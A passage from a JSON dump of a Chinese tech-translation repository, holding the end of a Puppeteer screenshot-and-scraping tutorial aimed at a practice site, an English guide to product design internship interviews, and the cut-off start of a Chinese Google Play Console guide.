test.js\n```\n\n以下是示例里的截图结果：\n\n![](https://cdn-images-1.medium.com/max/800/1*OHQ4myaGuBWxqkJ_G1hxoA.png)\n\n是不是很厉害？这只是热身，下面教你怎么在非 headless 环境下运行代码。\n\n非 headless？百闻不如一见，自己先动手试一下吧，把第 4 行的代码：\n\n```javascript\nconst browser = await puppeteer.launch();\n```\n\n换成这句：\n\n```javascript\nconst browser = await puppeteer.launch({headless: false});\n```\n\n然后再次运行：\n\n```shell\nnode test.js\n```\n\n是不是更炫酷了？当配置了 `{headless: false}` 之后，就可以直观的看到代码是怎么操控 Chrome 浏览器的。\n\n这里还有一个小问题，之前我们的截图有点没截完整的感觉，那是因为 `page` 对象默认的截屏尺寸有点小的缘故，我们可以通过下面的代码重新设置 `page` 的视口大小，然后再截取：\n\n```javascript\nawait page.setViewport({width: 1000, height: 500})\n```\n\n这下就好多了：\n\n![](https://cdn-images-1.medium.com/max/800/1*5nobu4vdUesXZg1cgWlySg.png)\n\n最终代码如下：\n\n```javascript\nconst puppeteer = require('puppeteer');\n\nasync function getPic() {\n  const browser = await puppeteer.launch({headless: false});\n  const page = await browser.newPage();\n  await page.goto('https://google.com');\n  await page.setViewport({width: 1000, height: 500})\n  await page.screenshot({path: 'google.png'});\n\n  await browser.close();\n}\n\ngetPic();\n```\n\n#### 例 2 —— 爬取数据\n\n通过上面的例子，你应该掌握了 Puppeteer 的基本用法，下面再来看一个稍微复杂点的例子。\n\n开始前，不妨先看看 [官方文档](https://github.com/GoogleChrome/puppeteer/blob/master/docs/api.md#)。你会发现 Puppeteer 能干很多事，像是模拟鼠标的点击、填充表单数据、输入文字、读取页面数据等。\n\n在接下来的教程里，我们将爬一个叫 [_Books To Scrape_](http://books.toscrape.com/) 的网站，这个网站是专门用来给开发者做爬虫练习用的。\n\n还是在之前创建的文件夹里，新建一个 js 文件，这里用 `scrape.js` 作为示例，然后输入以下代码：\n\n```javascript\nconst puppeteer = require('puppeteer');\n\nlet scrape = async () => {\n  // Actual Scraping goes Here...\n  \n  // Return a value\n};\n\nscrape().then((value) => {\n    console.log(value); // Success!\n});\n```\n\n有了上一个例子的经验，这段代码要看懂应该不难。如果你还是看不懂的话......那也没啥问题就是了。\n\n首先，还是引入 `puppeteer` 依赖，然后定义一个 `scrape()` 方法，用来写爬虫代码。这个方法返回一个值，到时候我们会处理这个返回值（示例代码是直接打印出这个值）\n\n先在 scrape 方法中添加下面这一行测试一下：\n\n```javascript\nlet scrape = async () => {\n  return 'test';\n};\n```\n\n在命令行输入 `node scrape.js`，不出问题的话，控制台会打印一个 `test` 字符串。测试通过后，我们来继续完善 `scrape` 方法。\n\n**步骤 1：前期准备**\n\n和例 1 一样，先获取浏览器实例，再新建一个页面，然后加载 URL：\n\n```javascript\nlet scrape = async () => {\n  const browser = await puppeteer.launch({headless: false});\n  const page = await browser.newPage();\n  await page.goto('http://books.toscrape.com/');\n  await page.waitFor(1000);\n  // Scrape\n  browser.close();\n  return result;\n};\n```\n\n再来分析一下上面的代码：\n\n首先，我们创建了一个浏览器实例，将 `headless` 设置为 `false`，这样就能直接看到浏览器的操作过程：\n\n```javascript\nconst browser = await puppeteer.launch({headless: false});\n```\n\n然后创建一个新标签页：\n\n```javascript\nconst page = await browser.newPage();\n```\n\n访问 `books.toscrape.com`：\n\n```javascript\nawait page.goto('http://books.toscrape.com/');\n```\n\n下面这一步可选，让代码暂停执行 1 秒，保证页面能完全加载完毕：\n\n```javascript\nawait page.waitFor(1000);\n```\n\n任务完成之后关闭浏览器，返回执行结果。\n\n```javascript\nbrowser.close();\nreturn result;\n```\n\n步骤 1 结束。\n\n**步骤 2： 开爬**\n\n打开 Books to Scrape 网站之后，想必你也发现了，这里面有海量的书籍，只是数据都是假的而已。先从简单的开始，我们先抓取页面里第一本书的数据，返回它的标题和价格信息（红色边框选中的那本）。\n\n![](https://cdn-images-1.medium.com/max/1000/1*SJi9SPF1a7gGcZ_mEnScgg.png)\n\n查一下文档，注意到这个方法能模拟页面点击：\n\n**page.click(selector[, options])**\n\n* `selector` <string> 选择器，定位需要进行点击的元素，如果有多个元素匹配，以第一个为准。\n\n这里可以使用开发者工具查看元素的选择器，在图片上右击选中 inspect：\n\n![](https://cdn-images-1.medium.com/max/800/1*PSffzKaJrObAdfA1QRLCpg.png)\n\n上面的操作会打开开发者工具栏，之前选中的元素也会被高亮显示，这个时候点击前面的三个小点，选择 copy - copy selector：\n\n![](https://cdn-images-1.medium.com/max/1000/1*fUXgbZ7LTGSvkqadYUPbAw.png)\n\n有了元素的选择器之后，再加上之前查到的元素点击方法，得到如下代码：\n\n```javascript\nawait page.click('#default > div > div > div > div > section > div:nth-child(2) > ol > li:nth-child(1) > article > div.image_container > a > img');\n```\n\n然后就会观察到浏览器点击了第一本书的图片，页面也会跳转到详情页。\n\n在详情页里，我们只关心书的标题和价格信息 —— 见图中红框标注。\n\n![](https://cdn-images-1.medium.com/max/800/1*ccol1C8a4b1wGXUdV8qfTA.png)\n\n为了获取这些数据，需要用到 `page.evaluate()` 方法。这个方法可以用来执行浏览器内置 DOM API ，例如 `querySelector()`。\n\n首先创建 `page.evaluate()` 方法，将其返回值保存在 `result` 变量中：\n\n```javascript\nconst result = await page.evaluate(() => {\n// return something\n});\n```\n\n同样，要在方法里选择我们要用到的元素，再次打开开发者工具，选择需要 inspect 的元素：\n\n![](https://cdn-images-1.medium.com/max/1000/1*jzC0PnWrZsI_SF8t5PgGTA.png)\n\n标题是个简单的 `h1` 元素，使用下面的代码获取：\n\n```javascript\nlet title = document.querySelector('h1');\n```\n\n其实我们需要的只是元素里的文字部分，可以在后面加上 `.innerText`，代码如下：\n\n```javascript\nlet title = document.querySelector('h1').innerText;\n```\n\n获取价格信息同理：\n\n![](https://cdn-images-1.medium.com/max/1000/1*dKX7qukRfMVfPP2kydD03w.png)\n\n刚好价格元素上有个 `price_color` class，可以用这个 class 作为选择器获取到价格对应的元素：\n\n```javascript\nlet price = document.querySelector('.price_color').innerText;\n```\n\n这样，标题和价格都有了，把它们放到一个对象里返回：\n\n```javascript\nreturn {\n  title,\n  price\n}\n```\n\n回顾刚才的操作，我们获取到了标题和价格信息，将它们保存在一个对象里返回，返回结果赋给 `result` 变量。所以，现在你的代码应该是这样：\n\n```javascript\nconst result = await page.evaluate(() => {\n  let title = document.querySelector('h1').innerText;\n  let price = document.querySelector('.price_color').innerText;\nreturn {\n  title,\n  price\n}\n});\n```\n\n然后只需要将 `result` 返回即可，返回结果会打印到控制台：\n\n```javascript\nreturn result;\n```\n\n最后，综合起来代码如下：\n\n```javascript\nconst puppeteer = require('puppeteer');\n\nlet scrape = async () => {\n    const browser = await puppeteer.launch({headless: false});\n    const page = await browser.newPage();\n\n    await page.goto('http://books.toscrape.com/');\n    await page.click('#default > div > div > div > div > section > div:nth-child(2) > ol > li:nth-child(1) > article > div.image_container > a > img');\n    await page.waitFor(1000);\n\n    const result = await page.evaluate(() => {\n        let title = document.querySelector('h1').innerText;\n        let price = document.querySelector('.price_color').innerText;\n\n        return {\n            title,\n            price\n        }\n\n    });\n\n    browser.close();\n    return result;\n};\n\nscrape().then((value) => {\n    console.log(value); // Success!\n});\n```\n\n在控制台运行代码：\n\n```javascript\nnode scrape.js\n// { title: 'A Light in the Attic', price: '£51.77' }\n```\n\n操作正确的话，在控制台会看到正确的输出结果，到此为止，你已经完成了 web 爬虫。\n\n#### 例 3 —— 后期完善\n\n稍加思考一下你会发现，标题和价格信息是直接展示在首页的，所以，完全没必要进入详情页去抓取这些数据。既然这样，不妨再进一步思考，能否抓取所有书的标题和价格信息？\n\n所以，抓取的方式其实有很多，需要你自己去发现。另外，上面提到的直接在主页抓取数据也不一定可行，因为有些标题可能会显示不全。\n\n**拔高题**\n\n目标 —— 抓取主页所有书籍的标题和价格信息，并且用数组的形式保存返回。正确的输出应该是这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*w4YN9E40rzpdmQfwqM2Pcg.png)\n\n开干吧，伙计，其实实现起来和上面的例子相差无几，如果你觉得实在太难，可以参考下面的提示。\n\n* * *\n\n**提示：**\n\n其实最大的区别在于你需要遍历整个结果集，代码的大致结构如下：\n\n```javascript\nconst result = await page.evaluate(() => {\n  let data = []; // 创建一个空数组\n  let elements = document.querySelectorAll('xxx'); // 选择所有相关元素\n  // 遍历所有的元素\n    // 提取标题信息\n    // 提取价格信息\n    data.push({title, price}); // 将数据插入到数组中\n  return data; // 返回数据集\n});\n```\n\n* * *\n\n如果提示了还是做不出来的话，好吧，以下是参考答案。在以后的教程中，我会在下面这段代码的基础上再做一些拓展，同时也会涉及一些更高级的爬虫技术。你可以在 [**这里**](https://docs.google.com/forms/d/e/1FAIpQLSeQYYmBCBfJF9MXFmRJ7hnwyXvMwyCtHC5wxVDh5Cq--VT6Fg/viewform) 提交你的邮箱地址进行订阅，有新的内容更新时我们会通知你。\n\n**参考答案：**\n\n```javascript\nconst puppeteer = require('puppeteer');\n\nlet scrape = async () => {\n    const browser = await puppeteer.launch({headless: false});\n    const page = await browser.newPage();\n\n    await page.goto('http://books.toscrape.com/');\n\n    const result = await page.evaluate(() => {\n        let data = []; // 创建一个数组保存结果\n        let elements = document.querySelectorAll('.product_pod'); // 选择所有书籍\n\n        for (var element of elements){ // 遍历书籍列表\n            let title = element.childNodes[5].innerText; // 提取标题信息\n            let price = element.childNodes[7].children[0].innerText; // 提取价格信息\n\n            data.push({title, price}); // 组合数据放入数组\n        }\n\n        return data; // 返回数据集\n    });\n\n    browser.close();\n    return result; // 返回数据\n};\n\nscrape().then((value) => {\n    console.log(value); // 打印结果\n});\n```\n\n### 结语：\n\n谢谢观看！如果你有学习 NodeJS 的意向，可以移步 [**Learn Node JS — The 3 Best Online Node JS Courses**](https://codeburst.io/learn-node-js-the-3-best-online-node-js-courses-87e5841f4c47)。\n\n每周我都会发布 4 篇有关 web 开发的技术文章，[**欢迎订阅**](https://docs.google.com/forms/d/e/1FAIpQLSeQYYmBCBfJF9MXFmRJ7hnwyXvMwyCtHC5wxVDh5Cq--VT6Fg/viewform)！或者你也可以在 Twitter 上 [**关注我**](https://twitter.com/BrandonMorelli)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-guide-to-interviewing-for-product-design-internships.md",
    "content": "\n>* 原文链接 : [A Guide to Interviewing for Product Design Internships](https://medium.com/facebook-design/a-guide-to-interviewing-for-product-design-internships-d719dd4c146c#.jhgjr12c)\n* 原文作者 : [Andrew Hwang](https://medium.com/@ahwng)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者: \n\n\n\n\n\n> “We reviewed your portfolio, and we’d love to interview you for our product design internship. What times will you be available in the upcoming week?”\n\nUpon seeing this email, your pulse quickens. Your eyes widen. You drool a little. You sent out so many cover letters, submitted so many applications, and — finally! A small but meaningful step on the journey to becoming a full-fledged product designer.\n\nBut what will they ask you? And how could you possibly prepare?\n\n\nBreaking into the product design field as a student is hard. Some product designers stumble into the field with a graphic design or art degree. Others are self-taught. Either way the field of digital product design is so new that there are very few resources for curious students.\n\nIn high school I hadn’t yet heard of the product design industry. I dabbled in web design but quite frankly, I was terrible at it. I couldn’t imagine it going anywhere.\n\nBut over time I accumulated enough design work to find myself with a design internship at a mobile app startup. There I first got a taste of product design. And I fell in love with the problem-solving, the complexity, the collaboration with product managers and engineers and illustrators to build something from nothing. So I pursued it ruthlessly.\n\nThe following summer I ramped up my internship application game, submitting resumes to over 50 companies. Five of them responded positively. Of those five, three small tech companies interviewed me immediately. But I went into those interviews not having the faintest idea what they’d ask, so those doors shut as quickly as they had opened.\n\nEvernote was the fourth company to respond positively. And though I had botched the previous three interviews, I had a better idea of what to expect when I hopped on the phone with the Evernote designers.\n\nI landed the Evernote product design internship that summer. And with a bit more experience under my belt, the following summer I received an offer for Facebook’s product design internship. Now I’m a full-time product designer at Facebook.\n\nAs a student I interviewed for product design internships at many of the Silicon Valley behemoths: Google; Facebook; Mozilla; Quora; Groupon; Dropbox. And if one thing stuck with me, it was that product design interviews are quite similar across tech companies. They usually include all or some combination of the following:\n\n1.  Phone screen\n2.  Portfolio review\n3.  Design exercise\n4.  App critique\n\nLet’s dig a little deeper into each step\n\nThe phone screen allows the recruiter to get to know you better, to go past the words on your resume. You might be asked:\n\n*   What’s your background like?\n*   How did you get into design?\n*   Why are you interested in working here?\n*   What was your favorite past project, and why?\n\nDuring the phone screen, sound excited. And come prepared with questions for the recruiter. Try to ask questions specific to the company, questions that are not easily answerable with a Google search. Recruiters can tell generic questions from authentic ones, and asking canned questions may damage the strength of your candidacy.\n\nWhile preparing for my first phone screen with Facebook, for instance, I [discovered](http://www.quora.com/What-do-Facebook-interns-do) the company regularly hosts intern hack-a-thons. So during the phone screen I probed further about the hack-a-thons: How do they work, exactly? Is it okay for interns to completely ignore their summer projects during the hack-a-thons? Who reviews the final projects? Questions like these show genuine interest. They tell the recruiter you’ve done your homework and care deeply about the internship opportunity.\n\nIf the recruiter thinks your background and interests might be a good fit for the internship, the next step is usually a showcase of your past work.\n\nHere you’ll speak with a designer. Typically, the review will include a deep dive into three or four of your portfolio projects. The point of the portfolio review is for the designer to tease out your design process, to understand what types of questions you ask and what kinds of solutions you consider. In short, the interviewer wants to know how you approach design. You might be asked questions such as:\n\n*   What were the problems you were trying to solve?\n*   Who did you partner with?\n*   What kind of research did you perform, if any?\n*   Why did you choose that design solution over this one?\n*   What were the tradeoffs?\n*   What challenges did you face in designing X?\n*   If you had more time to work on Y, what would you change?\n*   If you got stuck on a certain design problem, how did you overcome it?\n\nOne of your main tasks in the portfolio review is to show **intentionality** in your design process, to demonstrate that you thought through each design decision carefully, from the high-level product features to the visual styling of a button.\n\nDescribe your rationale clearly. Arbitrary design decisions won’t hold up to the scrutiny of a portfolio review.\n\n<figure score=\"-12.5\">\n\n<div score=\"6.25\">![](/images/loading.png)</div>\n\n<figcaption>Make sure you can articulate your design decisions. Comic credit: Andrew Hwang</figcaption>\n\n</figure>\n\nDuring the portfolio review, you should also be able to **thoughtfully critique** your own designs. No design solution is perfect. Reflect on your projects and come up with suggestions for how to improve them.\n\nMany companies think of product design as having three pillars:\n\n1.  Visual design: How polished are your designs? Do they feel well-crafted and refined? Are they aesthetically pleasing?\n2.  Interaction design: Can you design intuitive end-to-end user flows? Do you consider edge cases appropriately? How easy is it to get from point A to point B in an app you designed?\n3.  Product thinking: What problems are you trying to solve? Who are you designing for? What features should be included in your product, and why?\n\nThe portfolio review helps the interviewer gauge your strengths and weaknesses in these areas. Maybe you’re more comfortable with visual design and less so with interaction design. Maybe you’re a fantastic product thinker but can’t build a prototype to save your life. But that’s okay! You’re a student. Interviewers don’t expect you to be a rockstar in every facet of product design. Being honest about your weaknesses shows humility, a vital quality for any designer.\n\n**Preparing for the portfolio review is key**. While interviewing I often found myself nervously rushing through each project in my portfolio. Having a list of talking points prevented me from skipping over any important items and forced me to slow down.\n\nYour list of talking points should shed more light on the specific design process for each project, elaborating on what went wrong and what went right. Reflect deeply on each piece you plan to present. Write down everything you can remember about the design process. Ask a friend to mock interview you. Prepare, prepare, prepare!\n\nIf the portfolio review goes well, it’s on to the design exercise.\n\nThe typical design exercise follows this pattern:\n\n_Please design an interface/object/product that does X or solves Y._\n\nIts on-the-spot nature can make the design exercise intimidating. Where the portfolio review fleshed out your past design processes, the design exercise asks that you flex your design chops right here, right now.\n\nSome exercises I’ve encountered:\n\n*   Design a web form that collects only high-quality phone numbers. That is, if you called the phone numbers, someone would receive the call.\n*   Design the homepage for a search engine.\n*   Brainstorm products you could design using the Kindle’s e-reader screen material.\n\nEvery designer has their own design process, so I can’t exactly tell you how to go about the design exercise. But I’d suggest thinking about who you’re designing for, quickly sketching out many different options, and analyzing the tradeoffs of each option as you go. Don’t dive too deeply into the interaction or visual details of any one option before completing a thorough high-level exploration.\n\nI was once asked to design a mobile app that made it easy for restaurant customers to split the bill. The exercise started well. I quickly sketched one design option where the waiter enters the items on the receipt. Then another option where the customer enters the data by hand. But before finishing the high-level exploration, I became married to this option, diving too far into the details (what would the layout be? how would the typography work?)\n\nI wasted my time on the visual details and as a result, I didn’t have enough time to explore other types of solutions (e.g. using the customer’s smartphone to take a picture of the receipt). The week after that interview I received a rejection from the recruiter. But looking back, it taught me a valuable lesson about the design exercise: the interviewer cares much more about your high-level idea explorations than your pixel-level ambitions.\n\n<figure score=\"-12.5\">\n\n<div score=\"6.25\">![](/images/loading.png)</div>\n\n<figcaption>Don’t get caught up in the visual design details before thinking deeply about the bigger picture. Comic credit: Andrew Hwang</figcaption>\n\n</figure>\n\nIn the design exercise it’s crucial to **demonstrate your idea generation skills.** So don’t be afraid to come up with some crazy blue-sky ideas. Ask your interviewer questions. Don’t assume anything. And remember, brainstorming and analyzing high-level feature ideas is much more meaningful than exploring a bunch of different button styles.\n\nThankfully, the high-pressure design exercise is not part of every interview loop. You might be tasked with the app critique instead.\n\nPick an app. Any app. Make sure it’s an app you know well.\n\nThe app critique is intended to analyze your product thinking skills. You’ll walk the interviewer through an app of your choice. Along the way, the interviewer will stop you and ask questions such as:\n\n*   What audience do you think this app was intended for?\n*   What problem is the app supposed to solve?\n*   How well does it solve the problem?\n*   What are your favorite features on the app, and why?\n*   What are your least favorite features on the app? Why?\n*   Why do you think the designers made decision X?\n*   What is the point of feature Y? What value does it add?\n*   How would you improve the app?\n*   Who are the app’s competitors?\n*   What does the app do better than its competitors? What does it do worse?\n\nStrategizing for the app critique is hard because it relies so heavily on your product intuition. The best advice I can give is to practice analyzing apps at a high level. Forget about the colors, the typography, the buttons. Instead, think about **what value the app provides**. And **how features in the app align with the app’s overall value proposition**. Snapchat, for example, strives to be _the_ app for live sharing with friends. So they built awesome features like Live Snapchat stories for major events and Live Video in direct message threads.\n\nProduct design interviews are hard. They’re stressful, and open-ended, and you can receive rejection after rejection with no idea what you’re doing wrong.\n\nBut interviewing for product design internships is like any other skill. With time and practice, you improve. It never hurts to interview for a few companies you have no intention of working at, just to practice your interviewing skills.\n\nHave notes prepared before you start each interview. Especially the portfolio review. I found it extremely helpful to write down a list of talking points for each project. This list prevents you from nervously skipping over any important items.\n\nLast but not least, the design community is small and tight-knit and people are more than willing to help if you can just find the courage to ask.\n\n</div>\n\n</div>\n\n</section>\n\n</div>\n\n</div>\n"
  },
  {
    "path": "TODO/a-guide-to-the-google-play-console.md",
    "content": "> * 原文地址：[A guide to the Google Play Console](https://medium.com/googleplaydev/a-guide-to-the-google-play-console-1bdc79ca956f)\n> * 原文作者：[Dom Elliott](https://medium.com/@iamdom?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-guide-to-the-google-play-console.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-guide-to-the-google-play-console.md)\n> * 译者：[JayZhaoBoy](https://github.com/JayZhaoBoy)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)，[IllllllIIl](https://github.com/IllllllIIl)\n\n# Google Play 控制台指南\n\n## 无论你是企业用户还是作为技术人员，在 1 或 100 人的团队中，Play 控制台能为你做的都不仅仅是发布应用这么简单而已\n\n![](https://cdn-images-1.medium.com/max/800/1*VRf8qf0oY8dxrdAfBFE3fg.png)\n\n你或许使用 [Google Play 控制台](http://g.co/play/console)上传过 Android 应用或者游戏，创建一个商品详情并点击上传按钮把它添加到 Google Play 上。但你可能没意识到 Play 控制台其实还有很多其他的功能，特别是对那些专注于改善其应用的质量和业务表现的人。\n\n和我一起来学习 Play 控制台；我将向你介绍每一个功能并指出其中一些有用的资源，以充分利用它们。一旦你熟悉了这些功能，你就可以通过用户管理控制，允许团队成员使用合适的特性功能或他们所需的数据。注意：在这篇文章中我所说的「应用」通常代表的意思是「应用或者游戏」。\n\n目录跳转到：\n\n*   [快速上手](#8b10)\n*   [信息中心和统计信息（Dashboard and statistics）](#a5a0)\n*   [Android vitals](#ed9a)\n*   [开发工具（Development tools）](#add5)\n*   [发布管理（Release management）](#4e06)\n*   [Store 展示（Store presence）](#c527)\n*   [用户获取（User acquisition）](#111b)\n*   [财务报告（Financial reports）](#fb37)\n*   [用户反馈（User feedback）](#d92a)\n*   [全局 Play 控制台部分](#4f14)\n*   [获取 Play 控制台应用](#a696)\n*   [保持最新状态](#eb8c)\n*   [疑问？](#3882)\n\n* * *\n\n### 快速上手\n\n如果你受邀协助管理应用或你已经上传过一个应用，当你访问 Play 控制台时，你会看到如下所示的内容：\n\n![](https://cdn-images-1.medium.com/max/800/1*_aVpZRSbE9Fc8NVdulvk4w.png)\n\n这是当你拥有一个应用程序或游戏时，登录 Play 控制台后的视图。\n\n在这篇文章中我会假设你已经拥有了一个应用。如果你刚开始发布你的第一个应用，看一下[启动清单](https://developer.android.com/distribute/best-practices/launch/launch-checklist.html)。稍后我会回到全局菜单选项（游戏服务，警报和设置）。\n\n从列表中选择一个应用，然后跳转到其信息中心。在左侧有一个导航菜单（三），可快速访问所有 Play 控制台的工具，让我们来依次的看一下。\n\n* * *\n\n### 信息中心和统计信息（Dashboard and statistics）\n\n前两项是信息中心和统计信息。通过这些相关报告你可以对你的应用的表现情况做一个概览。\n\n**信息中心**（**Dashboard**）提供了安装和卸载情况的概要，安装排名前列的国家，安装的激活量，评分的数量和值，崩溃简报，Android vitals 的概要，以及一个发布前测试报告的列表。对于每个概要，点击**查看详细信息**（**view details**）以获取更多详细的信息。你可以在 7 天，30 天，1 年以及应用程序整个生命周期之间切换视图。\n\n![](https://cdn-images-1.medium.com/max/800/1*giTv35N9RabYBOfzwQmejw.png)\n\n应用的信息中心。\n\n运气好的话，概要会显示出你的应用成功的获得了很高的安装率和很低的崩溃率。快速浏览信息中心是一种可以查看事情是否按照预期进行的简单的方法，要格外注意：卸载增长，崩溃增长，评分下滑，以及其他一些性能不佳的指标。如果这一切都不是你所预期的，那么你或你的工程师可以获得更多的细节来找出这些不同问题的原因。\n\n**统计信息**（**Statistics**）让你可以构建一个对你十分重要的应用数据视图。除了查看任何日期范围内的数据外，你还可以同时绘制两个指标，并将它们与前一个期间进行比较。你可以通过图表下方的表格中选定的维度（例如设备，国家/地区，语言或应用版本）对统计信息进行全面细分。有些统计数据每小时提供一次绘图，以获取更详细的情况。事件（例如应用程序的发布或销售）显示在图表和其下面的事件时间轴中，因此你可以了解到统计信息是因为什么而变化的。\n\n![](https://cdn-images-1.medium.com/max/800/1*Abi3DL27q_HXPXxO4gDDHQ.png)\n\n统计信息。\n\n例如，你可能正在巴西进行新的应用推广。你就可以将报告设置为按国家显示安装情况，将国家/地区列表过滤为巴西（从维度表中），然后将数据与早期推广活动的数据进行比较，以清楚地了解你的促销活动的进展情况。\n\n> **更多关于信息中心和统计信息的资源：**\n> -[监控你的应用程序的统计信息，并查看预期之外的警报](https://developer.android.com/distribute/best-practices/launch/monitor-stats.html)\n\n* * *\n\n### Android vitals\n\n> 大鱼游戏（Big Fish Games）在他们管理游戏的过程中[使用 Android vitals 减少 21％ 的崩溃](https://www.youtube.com/watch?v=qRXkEQOtQ98)，[Cooking Craze](https://play.google.com/store/apps/details?id=com.bigfishgames.cookingcrazegooglef2p).\n\n**Android vitals** 主要是以性能和稳定性来衡量你应用的质量的一个工具。去年 Google 进行的一项内部研究考察了 Play Store 中的一星评论，发现 50％ 的人提到了应用程序的稳定性和错误。通过解决这些问题，对影响用户满意度是有积极作用的，从而使得更多人留下正面评论并保留你的应用。Android vitals 提供了关于应用性能的三个方面的信息：稳定性，渲染（也称为 jank）和电池寿命。\n\n![](https://cdn-images-1.medium.com/max/800/1*yPQRAKol71_5xpShvtRUsQ.png)\n\nAndroid vitals（只有 Play 有足够的关于您应用的数据时，才会显示每一项）。\n\n前两项指标—**插入唤醒锁**（**stuck wake locks**）和**过度唤醒**（**excessive wakeups**）—表明应用是否对电池寿命产生负面影响。这些报告显示应用程序是否要求设备长时间（一小时或更长时间）保持打开状态，或者经常要求设备唤醒（设备充满电后每小时唤醒超过 10 次）。\n\n应用程序稳定性信息采用**应用程序无响应**（**ANR**）和**崩溃率**（**crash rate**）报告的形式。正如本节中的所有概要一样，按应用版本，设备和 Android 版本提供细分。从概要中，你可以深入了解到哪些旨在帮助开发人员识别这些问题的原因的细节。最近对信息中心的改进中提供了有关 ANR 和崩溃的更多详细信息，使它们更易于诊断和修复。工程师可以从 **ANR 和崩溃**（**crashs**）部分获取更多详细信息，并通过加载**去混淆文件**（**de-obfuscation files**）来提高崩溃报告的可读性。\n\n接下来的两项指标—**渲染速度减缓**（**slow rendering**）和**帧冻结**（**frozen frames**）—与开发人员称为 _jank_ 的内容或应用 UI 中的帧频不一致有关。每一次应用程序的 UI 抖动和卡顿都会导致糟糕的用户体验。这些统计数据会告诉你有多少用户会出现以下这些情况：\n\n*   超过 15％ 的帧需要超过 16 毫秒才能完成渲染，或者\n*   1000 帧中至少有一帧的渲染时间大于 700 毫秒。\n\n**行为阈值（Behavior thresholds）**\n\n对于每个指标，你都会看到一个**不良行为阈值**（**bad behavior threshold**）。如果你的某个 Android vitals 超出了不良行为阈值，你会看到一个红色的错误图标。这个图标表示你的应用程序在该指标的分数上高于其他应用程序（在这里值越高代表越差！）。你应该尽快解决这个糟糕的表现，因为若如果你的受众的用户体验不好，你的应用在 Play Store 中也会有不好的表现。这是因为 Google Play 的搜索和排名算法以及包含 Google Play 奖励在内的所有促销机会都会结合应用的 vitals 来考虑。超过不良行为阈值将导致排名降低。\n\n> **更多关于 Android vitals 的资源：**\n> - [使用 Android vitals 提高你的应用的表现和稳定性](https://developer.android.com/distribute/best-practices/develop/android-vitals.html)\n> - [了解如何调试和修复  Android vitals 文档中的问题](https://developer.android.com/topic/performance/vitals/index.html)\n> - [在精不在多：为什么质量很重要](https://www.youtube.com/watch?v=hfpnldMBN38) (Playtime ‘17 session)\n> - [用于优化 Android 应用程序的 10 个秘诀，以保持良好的用户体验](https://www.youtube.com/watch?v=ovPCRS_lEWU) (I/O ‘17 session)\n> - [使用 Android 和 Play 中的工具来提高工作效率](https://www.youtube.com/watch?v=ySxCrzsKSGI) (I/O ‘17 session)\n\n* * *\n\n### 开发工具（Development tools）\n\n我会略过这一部分；这是控制台为技术人员提供的一些工具。**服务和 API** 部分列出了各种服务及 API 的密钥和 ID，例如 Firebase Cloud Messaging 和 Google Play 游戏服务。而 **FCM 统计信息**会向你显示通过 Firebase Cloud Messaging 发送的与数据相关的信息。欲了解更多信息请[查看帮助中心](https://support.google.com/googleplay/android-developer/answer/2663268).\n\n* * *\n\n### 发布管理（Release management）\n\n> [Zalando](https://play.google.com/store/apps/details?id=de.zalando.mobilehttps://play.google.com/store/apps/details?id=de.zalando.mobile) focused on quality and used release management tools to 每季度[减少 90％ 的崩溃次数并将用户终身价值提高 15％。](https://youtu.be/Aau8LWGdBFE)。\n\n在**发布管理**（**Release management**）部分中，你可以控制如何让你的新应用或者已更新的应用被人们来安装。这包括在发布之前测试你的应用程序，设置正确的设备定位，管理和监控测试，以及产品的实时追踪。\n\n随着应用程序版本的发布，**发布信息中心**（**release dashboard**）将为你提供重要统计数据的整体视图。你还可以将当前版本与过去的版本进行比较。你可能还想和一个不太满意的版本做比较，以确保类似的情况不会再发生。或者与最佳的版本进行比较，看看是否能做进一步改进。\n\n![](https://cdn-images-1.medium.com/max/800/1*HfxpJpQzXrPj77c6MATgkA.png)\n\n发布信息中心。\n\n你应该在发布时使用**分阶段发布**（**staged rollouts**）。你可以选择一定比例的受众群体来接收应用更新，然后监控发布信息中心。如果事情进展不顺利— 例如崩溃持续增加，评级下降或卸载量增加—在太多用户受到影响之前，你可以点击**管理版本**（**manage release**）并暂停部署。运气好的话，希望你们的工程师能在恢复部署（如果问题不需要应用程序更新）或启动新版本（如果需要更新）之前解决这些问题。如果一切顺利的话，你可以继续提高收到更新的受众群体的百分比，直到达到 100％。\n\n> Google Play 你将测试版本的软件发布到全球发布，并持续获取用户的反馈。这使我们能够查看到真实的数据并尽可能为我们的玩家制作最好的游戏。\n\n> — [David Barretto, Hutch Games 的 CEO 和联合创始人](https://www.youtube.com/watch?v=jLOIwdKiSd0)\n\n**应用程序发布（App releases）** 是应用程序包（你的 APK）上传和准备发布的地方。应用可以发布到不同的渠道：**alpha**，**beta** 和 **production**。在 alpha 和 beta 渠道上进行受信任用户的封闭测试或任何人都可以加入的公开测试。在准备发布时，你可以将其保存为草稿，这使得你有机会反复并仔细的编辑应用的详细信息，直到你准备好要发布为止。\n\n> **[免安装应用]使用户无需额外从 Play Store 安装应用程序即可轻松获得出色的应用体验。我们已经看到我们的即时应用取得了巨大成功。**\n\n> - [Laurie Kahn, Realtor.com 的首席产品经理](https://developer.android.com/stories/instant-apps/realtor-com.html)\n\n**Android 免安装应用**（**Instant Apps**）部分就像应用程序发布，只不过是为了适用于免安装应用。如果你还不熟悉免安装应用，它们允许用户通过链接即时访问应用程序的部分功能，而不必花时间从 Play Store 下载完整的应用程序。查看 [Android 